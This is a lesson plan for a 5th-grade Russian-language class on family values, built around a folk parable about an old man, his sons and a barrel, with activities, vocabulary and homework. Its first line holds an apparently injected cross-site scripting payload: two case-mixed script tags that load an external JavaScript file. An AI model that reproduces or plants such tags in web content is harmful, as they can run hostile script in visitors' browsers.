<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Предмет: Русский язык

Раздел 2: Семья

Тема: Семейные ценности

Школа: Березняковская СШ

Дата: 9.06.2017 г.

Учитель: Койшыбаева Г.Б.

Класс: 5 класс

Кол-во присутствующих учеников: 7

Кол-во отсутствующих учеников:0

Цели обучения:

Ч6 - анализировать содержание

небольших произведений фольклора и литературы, определяя тему и основную

идею.

Ч3 - формулировать вопросы по содержанию текста и

отвечать на них.

П1 - создавать тексты (письмо,

дневник, стихотворение, сказка), используя элементы разговорного и

художественного стилей.

Цели

урока:

Все уч-ся смогут:с помощью ключевых 

слов определить главную тему и основную идею;

Большинство уч-ся смогут:составлять 

вопросы по содержанию 

произведения и отвечать на них; написать письмо

Некоторые уч-ся смогут:сочинить сказку

Языковые

цели:

Уч.ся могут: участвовать в диалоге на обсуждаемую тему

Словарный запас и терминология: бочар, клепки,

донья, обруч, крестины, телега, притча, плотницкая, мастерская

Полезный набор фраз для диалога:жили-были, в

последний час, трепала-трепела, примерился к дубу, засучив рукава, смастерил

бочку, на нет сошла, растолковать притчу, думали-думали, покачал головой,

наша держава, нет согласия, живёт счастливо, благодарим за мудрый совет

Предыдущее

обучение:

Уч-ся знакомы с основными понятиями изучаемого раздела,

урок построен на развитие навыков чтения и письма, полученных на предыдущих

уроках

План урока

Время

Запланированная работа

Ресурсы

Начало

урока

 2 мин.

1.Организационный

момент.

2.

Разминка «Две половинки»

Основная

часть урока

3 мин.

2 мин.

2 мин.

5

мин.

2

мин.

3

мин.

1

мин.

2мин.

5 мин.

7

мин.

Введение в тему урока

1.На доске развешаны картинки, изображающие

старика, сыновей, бочку.

Задание

По иллюстрациям  определить тему урока..

учитель совместно с учениками определяет тему

урока, ставит цели обучения.

К. Совместное чтение

Учитель ведет чтение.Читает до « …но вот пришел…»

Формативный опрос.

-Почему старик позвал своих

сыновей?

-Как вы думаете, для чего он

им рассказывает притчу?

Работа с текстом. Работа в

группе. Приём «Отслеживание мысли».

Ученики должны определить,

что произойдёт дальше.

Презентация групп.

Взаимооценивание. Прием «Две звезды и пожелание»

Дифференциация. Дальше

чтение продолжает ученик. Читает до «…задумались…»

Работа с текстом.

4.

Приём «Линия времени». Работа в парах. Деление на пары по принципу «1,2»

Подобрать и записать глаголы, называющие

действия по изготовлению бочки и разрушению бочки:

а)сделал, набил, сколотил, смастерил; б)сломался,

разошлись, рассохлась, растащили, сожгла, сошла

Презентация пар. Приём «Живая

стена». Взаимооценивание . Приём «Рейтинг». Оценивают пары друг друга и

оценивает учитель. Зелёныйстикер-хорошо, справились;

желтый-подумай-ка.

*Физминутка «Серебряшка»

Продолжает чтение другой

ученик. Читает до конца.

работа с текстом. Ребята

остаются в том же составе.

Задание - определить основную идею произведения.Приём «Одиночныйгабл-бабл»

Формативноезадание.Работа в группах для учащихся с

низким и средним уровнем обученности. Деление на группы при помощи палочек

для мороженого.

Задание:

напишите письмо, используя

стратегию «РАФТ»

Дифференциация.

Ученики с высоким уровнем обученности создают

сказку по критериям.

Критерии к написанию сказки:

-сохранить структуру сказки;

-сохранять лексику сказки.

Презентация групп. Приём «Авторский стул».

О.учителем.Приём «Одним предложением»

картинки

http://www.dobrieskazki.ru/skazki_narodnie15.htm

Подведение

итогов

1

мин.

   2 мин.

5. Рефлексия

Домашнее задание: Найти и записать пословицы

о дружбе, согласии.